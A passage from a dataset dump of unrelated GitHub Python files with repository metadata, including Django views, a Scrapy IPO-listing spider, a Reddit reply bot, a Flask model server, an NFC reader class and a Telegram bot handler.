+= 1\n \n res.append(m)\n \n return res\n\ndef dot(a, b):\n # Melakukan dot product pada vektor a dan b\n # Prasyarat: Ukuran a dan b harus sama\n res = 0\n\n for i in range(len(a)):\n res += a[i]*b[i]\n \n return res\n\ndef magnitude(a):\n # Mencari besar / magnitudo vektor a\n total = 0\n \n for el in a:\n total += (el)**2\n \n return (total)**(1/2)\n\ndef sim(a, b):\n # Mencari nilai cosine similarity dari vektor a dan b\n # Prasyarat: Ukuran a dan b harus sama\n if(magnitude(a) != 0 and magnitude(b) != 0):\n return (dot(a,b)/(magnitude(a)*magnitude(b)))\n else:\n return 0 # Jika ada pembagian dengan 0 akan mereturn nilai 0","repo_name":"dionisiusdh/rocket-search-engine","sub_path":"src/server/vector.py","file_name":"vector.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"id","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"15582485931","text":"from competitive_sudoku.sudoku import SudokuBoard\nimport numpy as np\n\ndef get_empty_squares(board: SudokuBoard):\n \"\"\" \n Get_empty_squares retrieves the list of squares that are not yet filled.\n\n @param board: The state of the sudoku board.\n @return: The list of indices of empty squares on the board.\n \"\"\"\n zero_indexes = np.where(np.array(board.squares) == 0)[0]\n return list(zero_indexes)\n\ndef values_in_row(board: SudokuBoard, still_possible: np.array, row: int):\n \"\"\" \n Generates the values which are already present in the row of the square to check\n\n @param board: The state of the sudoku board.\n @param still_possible: An array of still possible values.\n @param row: The y-coordinate of the square to check.\n\n @return: Array of possible values excluding those already present in the row.\n \"\"\"\n N = board.N\n # take a slice of the 1D list of squares containing all values in the row\n row_values = np.array(board.squares[N*row: N*(row+1)])\n # return the set-difference between the values possible beforehand and the row values\n return np.setdiff1d(still_possible, row_values)\n\n\ndef values_in_column(board: SudokuBoard, still_possible: np.array, col: int):\n \"\"\" \n Generates the values which are already present in the column of the square to check\n\n @param board: The state of the sudoku board.\n @param still_possible: An array of still possible values.\n @param col: The x-coordinate of the square to check.\n\n @return: Array of possible values excluding those already present in the column.\n \"\"\"\n N = board.N\n # take a slice of the 1D list of squares containing all values in the column\n col_values = np.array(board.squares)[np.arange(col, N**2, N)]\n # return the set-difference between the values possible beforehand and the column values\n return np.setdiff1d(still_possible, col_values)\n\n\ndef values_in_block(board: SudokuBoard, still_possible: np.array, row: int, col: int):\n \"\"\" \n Generates the values which are already present in the block of the square to check\n\n @param board: The state of the sudoku board.\n @param still_possible: An array of still possible values.\n @param row: The y-coordinate of the square to check.\n @param col: The x-coordinate of the square to check.\n\n @return: Array of possible values excluding those already present in the block.\n \"\"\"\n N = board.N\n m = board.m\n n = board.n\n row_region = row // m\n col_region = col // n\n\n region_indices = []\n # get the indices of squares in the block\n for height_box in range(m):\n region_indices.append(np.arange(height_box*N + row_region*m*N+n*col_region, height_box*N + row_region *\n m*N+n*col_region + n, 1).tolist())\n # put the found indices in a 1D array\n region_indices = np.array(region_indices).flatten()\n # take a slice of the 1D list of squares containing all values in the column\n region_values = np.array(board.squares)[region_indices]\n # return the set-difference between the values possible beforehand and the block values\n return np.setdiff1d(still_possible, region_values)\n","repo_name":"EzraLeeuwenhage/2AMU10-Assignments","sub_path":"team29_A1/valid_move_functions.py","file_name":"valid_move_functions.py","file_ext":"py","file_size_in_byte":3155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"37386030677","text":"from django.contrib.auth.decorators import login_required\r\nfrom django.http import HttpResponse\r\nfrom django.shortcuts import render, redirect\r\n\r\nfrom todo.forms import ToDoForm\r\nfrom todo.models import ToDo\r\n\r\n\r\ndef index(request):\r\n todo = ToDo.objects.all()\r\n form = ToDoForm()\r\n\r\n context = {\r\n 'todos': todo,\r\n 'form': form\r\n }\r\n if request.method == 'POST':\r\n form = ToDoForm(request.POST)\r\n if form.is_valid():\r\n form.save()\r\n return redirect('index')\r\n\r\n def form_valid(self):\r\n form = ToDo\r\n form.instance.author = request.user\r\n return super().form_valid(form)\r\n\r\n return render(request, 'todo/index.html', context)\r\n\r\n\r\ndef update(request, pk):\r\n form = ToDo.objects.get(id=pk)\r\n\r\n todo_form = ToDoForm(instance=form)\r\n\r\n context = {\r\n 'form': todo_form\r\n }\r\n if request.method == 'POST':\r\n form = ToDoForm(request.POST, instance=form)\r\n if form.is_valid():\r\n form.save()\r\n return redirect('index')\r\n\r\n return render(request, 'todo/update.html', context)\r\n\r\n\r\ndef delete(request, pk):\r\n item = ToDo.objects.get(id=pk)\r\n\r\n context = {\r\n 'item': item\r\n }\r\n\r\n if request.method == 'POST':\r\n item.delete()\r\n return redirect('index')\r\n\r\n return render(request, 'todo/delete.html', context)\r\n","repo_name":"PatheticScum/To-do-project","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"23019141573","text":"\nfrom praw.models import MoreComments\nimport logging\nimport bson\nimport praw\n# Prefect imports\nfrom prefect import task, flow\n\n\ndef searchPhrasefunc( comment:str, searchPhrase:str):\n if(searchPhrase in comment):\n return True\n return False\n\n\ndef findInSubreddit(redditInstance, subName:str, searchPhrase: str):\n matchingComments = []\n subreddit = redditInstance.subreddit(subName)\n submissions = subreddit.hot()\n for submission in submissions:\n for comment in submission.comments:\n if isinstance(comment, MoreComments):\n continue\n if(comment.saved == False ):\n comment.saved = True\n if (searchPhrasefunc(comment.body, searchPhrase)):\n matchingComments.append(comment)\n\n return matchingComments\n\n@task\ndef replyToComments(redditInstance, processedComments):\n POSITIVE_MESSAGE = \"I Sense some respect in your comment! But, you're FIRED anyway. Adios!\"\n NEGATIVE_MESSAGE = \"I Do not like the look of this comment. You are FIRED! \"\n commentIDs = list(processedComments.keys())\n #{CID:[text, sentiment]}\n \n for commentid in commentIDs:\n arr = processedComments[commentid]\n if(arr[-1] == 'POSITIVE'):\n repID = redditInstance.comment(commentid).reply(POSITIVE_MESSAGE)\n logging.info(\"Found a Positive Sent. comment : Comment ID -> {} and replyID -> {}\", commentid,repID)\n else:\n repID = redditInstance.comment(commentid).reply(NEGATIVE_MESSAGE)\n logging.info(\"Found a Positive Sent. comment : Comment ID -> {} and replyID -> {}\", commentid,repID)\n\n\ndef sentimentBasedReplies(comments, redditInstance):\n POSITIVE_MESSAGE = \"I Sense some respect in your comment! But, you're FIRED anyway. Adios!\"\n NEGATIVE_MESSAGE = \"I Do not like the look of this comment. You are FIRED! \"\n returnComments = []\n logging.info(\"Number of Comments queued for replies : {}\", len(comments))\n for comment in comments:\n logging.info(\"current Comment : {}\" ,comment[\"commentID\"])\n commentID = comment[\"commentID\"]\n replyText = POSITIVE_MESSAGE if (comment['sentiment'] == 'POSITIVE') else NEGATIVE_MESSAGE\n try:\n replyID = redditInstance.comment(commentID).reply(replyText) \n logging.info(\"Submitted a Reply! CommentID : {} :: ReplyID : {} \", commentID, replyID)\n comment['replied'] = True\n comment['replyID'] = replyID\n returnComments.append(comment) \n \n except Exception:\n logging.exception(\"Encountered an Error while Replying to Comments\")\n \n finally:\n pass\n \n\n \n return returnComments\n\n\n \n","repo_name":"Bhavinrathava/ElonBot","sub_path":"Common/subredditScraper.py","file_name":"subredditScraper.py","file_ext":"py","file_size_in_byte":2736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"7938081591","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport re\nimport time\nimport random\nimport hashlib\nfrom scrapy_pedaily.items import PedailyIpoScrapyItem\nimport math\n\n# 上市事件\nclass PedailyIpoSpider(scrapy.Spider):\n index = 8\n module_index =2\n name = 'pedaily_ipo'\n allowed_domains = ['pedaily.cn']\n start_urls = ['http://zdb.pedaily.cn/ipo/']\n base_url = 'http://zdb.pedaily.cn'\n\n def parse(self, response):\n print(\"**********\", response.url)\n if response.status == 200:\n if response.url in self.start_urls:\n total_page_desc = response.css('span.title > span.total::text').extract_first()\n if total_page_desc.isdigit():\n total_page = math.floor(int(total_page_desc) / 20) + int(math.fmod(int(total_page_desc), 20))\n for pageNum in range(1, total_page + 1):\n # for pageNum in range(1, 2):\n url = response.url + 'p' + str(pageNum)\n yield scrapy.Request(url, callback=self.parse)\n # time.sleep(random.randint(1, 6))\n else:\n self.logger.warning(\"has no next page!!!\")\n else:\n id_prefix = '8-2'\n cate = '上市事件'\n info_list = response.css('div.box-news-list ul#ipo-list > li[class!=\"head\"]')\n dr = re.compile(r'<[^>]+>', re.S)\n for info in info_list:\n # print('date :', info.css('span.time::text').extract_first())\n date = info.css('span.time::text').extract_first()\n print('date:', date)\n company = info.css('dt.company::text').extract_first()\n if not company:\n company = info.css('dt.company > a::text').extract_first()\n print('company:', company)\n print('industry:', info.css('dt.industry > a::text').extract_first())\n industry = info.css('dt.industry > a::text').extract_first()\n money = info.css('dt.money>span.d::text').extract_first()\n unit = info.css('dt.money>span.m::text').extract_first()\n print('money:', money)\n print('unit:', unit)\n place = info.css('dt.place > a::text').extract_first()\n print('place:', place)\n\n href = self.base_url + info.css('dt.view a::attr(\"href\")').extract_first()\n print('href', href)\n\n yield scrapy.Request(href, meta={'id_prefix': id_prefix,\n 'category': cate,\n 'company': company,\n 'industry': industry,\n 'money': money,\n 'unit': unit,\n 'place': place,\n 'date': date},\n callback=self.parse_content)\n time.sleep(random.randint(1, 6))\n\n def parse_content(self, response):\n print(\"#########\", response.url)\n if response.status == 200:\n md5 = hashlib.md5()\n md5.update(response.url.encode(encoding='utf-8'))\n item = PedailyIpoScrapyItem()\n id_prefix = response.meta['id_prefix']\n item['id'] = id_prefix + \"-\" + md5.hexdigest()\n title_desc = response.css('div.info h1::text').extract_first()\n if title_desc:\n item['title'] = title_desc.strip()\n item['company'] = response.meta['company']\n item['financing_time'] = response.meta['date']\n item['industry'] = response.meta['industry']\n item['money'] = response.meta['money']\n item['unit'] = response.meta['unit']\n item['place'] = response.meta['place']\n # item['investor'] = response.meta['investor']\n item['url'] = response.url\n infos = response.css('div.info ul> li')\n if infos:\n # 企业名称详情\n company_detail_desc = infos[0].css('li::text').extract_first()\n if company_detail_desc:\n item['company_detail'] = company_detail_desc.strip()\n else:\n company_detail_desc = infos[0].css('li a::text').extract_first()\n if company_detail_desc:\n item['company_detail'] = company_detail_desc.strip()\n else:\n item['company_detail'] = ''\n # 所属行业\n industry_desc = infos[1].css('li').extract_first()\n if industry_desc:\n dr = re.compile(r'<[^>]+>', re.S)\n dd = dr.sub('', industry_desc)\n item['industry_desc'] = dd.replace(u'所属行业:', '')\n # item['industry_desc'] = industry_desc.strip()\n # 投资方\n investor_desc = infos[2].css('li::text').extract_first()\n if investor_desc:\n item['investor'] = investor_desc.strip()\n else:\n investor_desc = infos[2].css('li a::text').extract_first()\n if investor_desc:\n item['investor'] = investor_desc.strip()\n else:\n item['investor'] = ''\n # 发行价\n offering_price = infos[4].css('li::text').extract_first()\n if offering_price:\n item['offering_price'] = offering_price.strip()\n else:\n item['offering_price'] = ''\n # 交易所\n stock_exchange_place_desc = infos[5].css('li::text').extract_first()\n if stock_exchange_place_desc:\n item['stock_exchange_place'] = stock_exchange_place_desc.strip()\n else:\n stock_exchange_place_desc = infos[5].css('li a::text').extract_first()\n if stock_exchange_place_desc:\n item['stock_exchange_place'] = stock_exchange_place_desc.strip()\n else:\n item['stock_exchange_place'] = ''\n # 发行量\n circulation_desc = infos[6].css('li::text').extract_first()\n if circulation_desc:\n item['circulation'] = circulation_desc.strip()\n else:\n item['circulation'] = ''\n # 股票代码\n stock_code_desc = infos[7].css('li::text').extract_first()\n if stock_code_desc:\n item['stock_code'] = stock_code_desc.strip()\n else:\n item['stock_code'] = ''\n # 是否支持 vc_pe\n vc_pe_support_desc = infos[8].css('li::text').extract_first()\n if vc_pe_support_desc:\n item['vc_pe_support'] = vc_pe_support_desc.strip()\n else:\n item['vc_pe_support'] = ''\n\n # print(item)\n yield item\n","repo_name":"wrl115/scrapy_pedaily","sub_path":"scrapy_pedaily/scrapy_pedaily/spiders/pedaily_ipo.py","file_name":"pedaily_ipo.py","file_ext":"py","file_size_in_byte":7417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"7587838132","text":"# USAGE\n# Start the server:\n# \tpython run_front_server.py\n# Submit a request via Python:\n#\tpython simple_request.py\n\n# import the necessary packages\nimport dill\nimport pandas as pd\nimport os\ndill._dill._reverse_typemap['ClassType'] = type\n#import cloudpickle\nimport flask\nimport logging\nfrom logging.handlers import RotatingFileHandler\nfrom time import strftime\n\n# initialize our Flask application and the model\napp = flask.Flask(__name__)\nmodel = None\n\nhandler = RotatingFileHandler(filename='app.log', maxBytes=100000, backupCount=10)\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\nlogger.addHandler(handler)\n\ndef load_model(model_path):\n\t# load the pre-trained model\n\tglobal model\n\twith open(model_path, 'rb') as f:\n\t\tmodel = dill.load(f)\n\tprint(model)\n\nmodelpath = \"/app/app/models/logreg_pipeline.dill\"\nload_model(modelpath)\n\n@app.route(\"/\", methods=[\"GET\"])\ndef general():\n\treturn \"\"\"Welcome to fraudelent prediction process. Please use 'http://
/predict' to POST\"\"\"\n\n@app.route(\"/predict\", methods=[\"POST\"])\ndef predict():\n\t# initialize the data dictionary that will be returned from the\n\t# view\n\tdata = {\"success\": False}\n\tdt = strftime(\"[%Y-%b-%d %H:%M:%S]\")\n\t# ensure an image was properly uploaded to our endpoint\n\tif flask.request.method == \"POST\":\n\n\t\tdescription, company_profile, benefits = \"\", \"\", \"\"\n\t\trequest_json = flask.request.get_json()\n\t\tif request_json[\"description\"]:\n\t\t\tdescription = request_json['description']\n\n\t\tif request_json[\"company_profile\"]:\n\t\t\tcompany_profile = request_json['company_profile']\n\n\t\tif request_json[\"benefits\"]:\n\t\t\tbenefits = request_json['benefits']\n\t\tlogger.info(f'{dt} Data: description={description}, company_profile={company_profile}, benefits={benefits}')\n\t\ttry:\n\t\t\tpreds = model.predict_proba(pd.DataFrame({\"description\": [description],\n\t\t\t\t\t\t\t\t\t\t\t\t \"company_profile\": [company_profile],\n\t\t\t\t\t\t\t\t\t\t\t\t \"benefits\": [benefits]}))\n\t\texcept AttributeError as e:\n\t\t\tlogger.warning(f'{dt} Exception: {str(e)}')\n\t\t\tdata['predictions'] = str(e)\n\t\t\tdata['success'] = False\n\t\t\treturn flask.jsonify(data)\n\n\t\tdata[\"predictions\"] = preds[:, 1][0]\n\t\t# indicate that the request was a success\n\t\tdata[\"success\"] = True\n\n\t# return the data dictionary as a JSON response\n\treturn flask.jsonify(data)\n\n# if this is the main thread of execution first load the model and\n# then start the server\nif __name__ == \"__main__\":\n\tprint((\"* Loading the model and Flask starting server...\"\n\t\t\"please wait until server has fully started\"))\n\tport = int(os.environ.get('PORT', 8180))\n\tapp.run(host='0.0.0.0', debug=True, port=port)\n","repo_name":"fimochka-sudo/GB_docker_flask_example","sub_path":"app/run_server.py","file_name":"run_server.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"70"} +{"seq_id":"11327613322","text":"## 2520 is the smallest number that can be divided by each of the numbers\n## from 1 to 10 without any remainder.\n\n##What is the smallest positive number that is evenly divisible\n## by all of the numbers from 1 to 20?\n\n## DOESN'T WORK\n\n\ndef euler0005():\n isValid = False\n i = 0\n divisors = [x for x in range(1, 21)]\n print(divisors)\n while not isValid:\n i += 20\n isValid = True\n for j in divisors:\n if not i % j == 0:\n isValid = False\n print(i, isValid)\n return(i)\n\n\nprint(euler0005())\n","repo_name":"Beornwulf/ProjectEuler","sub_path":"Python/Failed Attempts/Euler0005a.py","file_name":"Euler0005a.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"22565112532","text":"import win32file\nimport win32con\nimport os\nimport variables\nimport time\nfrom pycsp.parallel import *\n\n\n@process\ndef rule_changer(to_rule_monitor):\n time.sleep(variables.interruption_time)\n print('Rule changer sending interruption')\n to_rule_monitor(0)\n print('Rule changer sent interruption')\n\n\n@process\ndef resource(to_scheduler, from_scheduler):\n while True:\n to_scheduler(0)\n input_process = from_scheduler()\n input_process.process_file()\n\n\n@process\ndef scheduler(from_monitor, from_resources, to_resources):\n buffer = []\n pre_conditions = [False] * len(from_resources)\n # This is for the monitor, should always be True\n pre_conditions.append(True)\n input_guards = []\n for from_resource in from_resources:\n input_guards.append(InputGuard(from_resource))\n input_guards.append(InputGuard(from_monitor))\n while True:\n pre_conditioned = []\n for i, guard in enumerate(input_guards):\n if pre_conditions[i]:\n pre_conditioned.append(guard)\n channel_index, message = PriSelect(\n pre_conditioned\n )\n if channel_index == from_monitor:\n replace_previous_entry = False\n # If there is already a scheduled process identical to this, then replace that one\n for index, element in enumerate(buffer):\n if element.get_process_name() == message.get_process_name():\n buffer[index] = message\n replace_previous_entry = True\n if not replace_previous_entry:\n buffer.append(message)\n for x in range(len(from_resources)):\n pre_conditions[x] = True\n # Input message came from a resource looking for a process. Can ignore empty input\n else:\n i = -1\n for a in range(len(from_resources)):\n if from_resources[a] == channel_index:\n i = a\n\n to_resources[i](buffer[0])\n del buffer[0]\n if len(buffer) == 0:\n for x in range(len(from_resources)):\n pre_conditions[x] = False\n\n\n@process\ndef rule_monitor(\n rule,\n repeat_on_rule_change,\n repeat_on_data_change,\n apply_post_facto,\n rule_monitor_to_scheduler,\n changer_to_monitor):\n actions = {\n 1: 'Created',\n 2: 'Deleted',\n 3: 'Updated',\n 4: 'Renamed from something',\n 5: 'Renamed to something'\n }\n\n file_list_directory = 0x0001\n\n our_path = os.path.abspath('.')\n\n directory_to_watch = rule.input_directory\n path_to_watch = our_path + directory_to_watch\n print(\"Watching: \" + path_to_watch)\n\n directory_to_write = rule.output_directory\n path_to_write = our_path + directory_to_write\n print(\"Writing to: \" + path_to_write)\n\n if not os.path.exists(path_to_write):\n os.makedirs(path_to_write)\n\n handle = win32file.CreateFile(\n path_to_watch,\n file_list_directory,\n win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,\n None,\n win32con.OPEN_EXISTING,\n win32con.FILE_FLAG_BACKUP_SEMANTICS,\n None\n )\n\n if apply_post_facto:\n for file in os.listdir(path_to_watch):\n print('Discovered ' + file)\n rule_monitor_to_scheduler(rule.task.create_process(file, path_to_watch, path_to_write))\n\n while True:\n results = win32file.ReadDirectoryChangesW(\n handle,\n 1024,\n True,\n win32con.FILE_NOTIFY_CHANGE_FILE_NAME |\n win32con.FILE_NOTIFY_CHANGE_DIR_NAME |\n win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |\n win32con.FILE_NOTIFY_CHANGE_SIZE |\n win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |\n win32con.FILE_NOTIFY_CHANGE_SECURITY,\n None,\n None\n )\n for action, file in results:\n if actions.get(action) == 'Created' or \\\n actions.get(action) == 'Renamed to something' or \\\n (actions.get(action) == 'Updated' and repeat_on_data_change) or \\\n (actions.get(action) == 'Renamed from something' and repeat_on_data_change):\n print('Seen an event and scheduling ' + file)\n rule_monitor_to_scheduler(rule.task.create_process(file, path_to_watch, path_to_write))\n\n","repo_name":"PatchOfScotland/rule_prototype","sub_path":"processes.py","file_name":"processes.py","file_ext":"py","file_size_in_byte":4420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"16438634838","text":"import mylib\n\ne = 4\nppp = mylib.primes_from_file(10 ** (2 * e))\npp = sorted(p for p in ppp if p < 10 ** e)\nss = [{}]\n\nmax_len = 0\nfor p in pp:\n if p == 2:\n continue\n ss_add = []\n for s in ss:\n if not len(s):\n ss_add.append({p})\n continue\n all_primes = True\n for q in s:\n pq = [str(p), str(q)]\n if int(''.join(pq)) not in ppp or int(''.join(pq[::-1])) not in ppp:\n all_primes = False\n break\n if all_primes:\n s_new = s | {p}\n if len(s_new) >= max_len:\n max_len = len(s_new)\n print(s_new)\n ss_add.append(s_new)\n ss += ss_add\nprint([(s, sum(s)) for s in ss if len(s) >= max_len])\n","repo_name":"krimeano/euler-py","sub_path":"problem60.py","file_name":"problem60.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"37030835164","text":"from django.shortcuts import render\nfrom django.http import JsonResponse\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.db.models import Q\nfrom .models import Product, Category, Subcategory, Cart, Variation\n\n# Create your views here.\n\ndef CartItemsCount(request):\n CartCount = Cart.objects.filter(user=request.user).count()\n return CartCount\n\ndef Home(request):\n # get all products\n AllProducts = Product.objects.all().order_by('?')\n # count items in the cart\n cartcount = CartItemsCount(request) or 0\n # apply filters if exist\n q = request.GET.get('q') or request.GET.get('r') if request.GET.get('q') or request.GET.get('r') != None else ''\n Productsfilters = Product.objects.filter(\n Q(name__icontains=q)\n ).order_by('?')\n if Productsfilters:\n AllProducts = Productsfilters\n else:\n AllProducts = Product.objects.all().order_by('?')\n\n context = {\n 'products': AllProducts,\n 'cartcount': cartcount,\n }\n return render(request, 'home.html', context)\n\ndef ShowSneakers(request):\n allShoes = Product.objects.filter(subcategory__maincategory__name='Sneakers')\n categories = Subcategory.objects.filter(maincategory__name='Sneakers')\n variations = Variation.objects.filter(product__subcategory__maincategory__name='Sneakers').distinct()\n sizeVariations = [int(variation.size) for variation in variations]\n cartcount = CartItemsCount(request) or 0\n\n # apply filters if exist\n q = request.GET.get('q') or request.GET.get('r') if request.GET.get('q') or request.GET.get('r') != None else ''\n s = 's'\n FilteredShoes = Product.objects.filter(\n Q(name__icontains=q, subcategory__maincategory__name='Sneakers') |\n Q(variation__color__icontains=q, subcategory__maincategory__name='Sneakers')\n )\n if FilteredShoes:\n allShoes = FilteredShoes\n variations = variations.filter(Q(product__subcategory__brand_subcat__icontains=q) | Q(color__icontains=q))\n sizeVariations = [int(variation.size) for variation in variations]\n else:\n allShoes = Product.objects.filter(subcategory__maincategory__name='Sneakers')\n\n context = {'products': allShoes,\n 'categories': categories,\n 'FilteredShoes': FilteredShoes,\n 'sizeVariations': sizeVariations,\n 'cartcount': cartcount,\n 'q': q, 's': s}\n return render(request, 'sneakers.html', context)\n\n\ndef ShowElectronics(request):\n allElectronics = Product.objects.filter(subcategory__maincategory__name='Electronics')\n categories = Subcategory.objects.filter(maincategory__name='Electronics')\n cartcount = CartItemsCount(request) or 0\n # apply filters if exist\n q = request.GET.get('q') or request.GET.get('r') if request.GET.get('q') or request.GET.get('r') != None else ''\n e = 'e'\n Filteredelectronics = Product.objects.filter(\n Q(name__icontains=q, subcategory__maincategory__name='Electronics') |\n Q(variation__color__icontains=q, subcategory__maincategory__name='Electronics')\n )\n if Filteredelectronics:\n allElectronics = Filteredelectronics\n else:\n allElectronics = Product.objects.filter(subcategory__maincategory__name='Electronics')\n filter_multiples = []\n for i in allElectronics:\n if i not in filter_multiples:\n filter_multiples.append(i)\n\n\n context = {'products': filter_multiples,\n 'categories': categories,\n 'Filteredelectronics': Filteredelectronics,\n 'cartcount': cartcount,\n 'q': q, 'e': e}\n return render(request, 'electronics.html', context)\n\ndef ShowCartPage(request, pk=None):\n if pk:\n if request.headers.get('X-Requested-With') == 'XMLHttpRequest':\n quantity = request.GET.get('quantity')\n product = Product.objects.get(id=pk)\n cartItem = Cart.objects.get(product=product)\n cartItem.quantity = int(quantity)\n cartItem.save()\n CartItems = Cart.objects.filter(user=request.user) \n grandTotal = 0\n for item in CartItems:\n x = item.Total()\n grandTotal += x\n ucartItem = Cart.objects.get(product=product)\n fucartItem = {'quantity':ucartItem.quantity,\n 'total':ucartItem.Total(),\n 'grandTotal': grandTotal}\n return JsonResponse({'ucartItem': fucartItem})\n CartItems = Cart.objects.filter(user=request.user) \n grandTotal = 0\n for item in CartItems:\n grandTotal += item.Total() \n \n context = {'CartItems': CartItems, 'grandTotal': grandTotal}\n return render(request, 'cart.html', context)\n\ndef AddToCart(request, pk):\n product = Product.objects.get(id=pk)\n cartItems = Cart.objects.all()\n cartItemsList = [cartItem.product.id for cartItem in cartItems]\n if request.headers.get('X-Requested-With') == 'XMLHttpRequest':\n if pk not in cartItemsList:\n \n newCartItem = Cart(product=product, user=request.user)\n newCartItem.save()\n return JsonResponse({'data': cartItemsList})\n else:\n return JsonResponse({'error': 'Product is already in the cart'}, status=400)\n\n\n","repo_name":"faisalepty/Soosh","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"3737436686","text":"#!/usr/bin/python2.7\n\n\"\"\" NFC related functions, through acr122u hardware.\n\"\"\"\n\n# pip install nfcpy\nimport nfc\n\n\ndef on_startup(targets):\n for target in targets:\n target.sensf_req = bytearray.fromhex(\"0012FC0000\")\n return targets\n\ndef on_connect(tag):\n #print(tag)\n pass\n\nclass AcrDev:\n \"\"\" Class to abstract ACR122U device.\n \"\"\"\n\n # class variables\n def __init__(self, usb_bus, usb_dev):\n \"\"\" Constructor of the class\n \"\"\"\n self.usb_bus = usb_bus\n self.usb_dev = usb_dev\n self.usb_target = 'usb:{bus}:{dev}'.format(bus = self.usb_bus,\n dev = self.usb_dev)\n self.hw_connected = False\n\n self.rdwr_options = {\n 'targets': ['106A'], # type2tag, nfcA\n 'on-startup': on_startup,\n 'on-connect': on_connect,\n }\n\n self.last_nfcid = \"\";\n\n def __str__(self):\n \"\"\" String representation of the class\n \"\"\"\n return ''.format(self.usb_target);\n\n def acquire(self):\n \"\"\" Acquire the device from USB bus.\n To find the device, use the linux command: `lsusb`.\n\n @return: true if device was acquired, false otherwise.\n \"\"\"\n clf = nfc.ContactlessFrontend()\n\n if clf.open('usb:{bus}:{dev}'.format(bus = self.usb_bus,\n dev = self.usb_dev)):\n print(\"dev {0} acquired successfully\".format(self.usb_target))\n self.hw_connected = True\n return True\n\n print(\"dev {0} not found\".format(self.usb_target))\n return False\n\n def is_connected(self):\n \"\"\" Return hardware connected state\n \"\"\"\n return self.hw_connected\n\n def wait_for_tag(self):\n \"\"\" Wait RF modulation from detected tag\n \"\"\"\n try:\n\n with nfc.ContactlessFrontend(self.usb_target) as clf:\n tag = clf.connect(rdwr = self.rdwr_options)\n self.last_nfcid = ''.join('{:02x}'.format(x) for x in tag._nfcid)\n\n except IOError as ioe:\n print(\"Err: '\" + self.usb_target + \"' \" + str(ioe))\n\n","repo_name":"MCM-Mike/nfc_db_inventory_cli","sub_path":"nfcdbi/acr122u.py","file_name":"acr122u.py","file_ext":"py","file_size_in_byte":2175,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"42958556670","text":"from aiogram import Dispatcher, types\nfrom aiogram.dispatcher import FSMContext\nfrom sqlalchemy import select\n\nfrom bot_create import bot\nfrom database import give_user_who_like\nfrom database.database import Questionnaire, engine\nfrom database.responses import check_country\nfrom handlers.welcome_handlers import send_welcome\nfrom language.ua.keyboards import *\nfrom language.ua.text import *\nfrom states import FSMWatchList\n\n\nasync def watch_next(message: types.Message, state: FSMContext):\n \"\"\"\n Получает следующего пользователя из списка пользователуй, которым понравился пользователь\n \"\"\"\n if message.text == '/start':\n await state.finish()\n await send_welcome(message)\n else:\n if message.text == exit_query.text:\n await state.finish()\n await bot.send_message(message.from_user.id, f'{tfind5}', reply_markup=main_manu_buttons)\n elif message.text == like.text or cancel_button.text:\n async with state.proxy() as data:\n if message.text == like.text:\n try:\n result = engine.connect().execute(\n select(Questionnaire).where(Questionnaire.user_id == message.from_user.id)).fetchone()\n current_user_username = message.from_user.username\n await bot.send_photo(\n data['user_id'],\n result.photo,\n caption=f\"{tlike1}{result.about}.\\n\\n{tlike2}{current_user_username}\")\n if check_country(data['user_id']) == 'Україна':\n await bot.send_message(data['user_id'], warning)\n\n await bot.send_message(message.from_user.id, f'{tlike3}{data[\"username\"]}.{tlike4}')\n if check_country(message.from_user.id) == 'Україна':\n await bot.send_message(message.from_user.id, warning)\n except:\n await bot.send_message(message.from_user.id, f'{tfind6}')\n\n if message.text == dislike.text:\n pass\n try:\n questionnaire, user_message = give_user_who_like(message.from_user.id)\n about = f'{questionnaire.about}'\n data['user_id'] = questionnaire.user_id\n data['username'] = questionnaire.username\n if str(user_message) == 'None':\n await bot.send_photo(\n message.from_user.id,\n questionnaire.photo,\n caption=f'{questionnaire.about}',\n reply_markup=wlbutton\n )\n else:\n await bot.send_photo(\n message.from_user.id,\n questionnaire.photo,\n caption=f'{questionnaire.about}'\n f'{tmain6}\\n{user_message}',\n reply_markup=wlbutton\n )\n except:\n await state.finish()\n await bot.send_message(\n message.from_user.id,\n f'{tlike5}',\n reply_markup=main_manu_buttons\n )\n\n\ndef register_user_handlers(dp: Dispatcher):\n dp.register_message_handler(watch_next, state=FSMWatchList.user)\n","repo_name":"EnotShow/emma_ua_bot","sub_path":"handlers/watch_like_list.py","file_name":"watch_like_list.py","file_ext":"py","file_size_in_byte":3625,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"7936911353","text":"#!/usr/bin/python \n#encoding:utf-8\n#encoding=gbk\n\n\n'''\nCreated on 2014年11月11日\n\n@author: huangyinfeng\n'''\n\n\nfrom com.android.monkeyrunner import MonkeyRunner, MonkeyDevice, MonkeyImage\n#device = MonkeyRunner.waitForConnection(8,'4d00833a528c8057') //多机型同时运行\ndevice = MonkeyRunner.waitForConnection()\n\n\n#keyboards 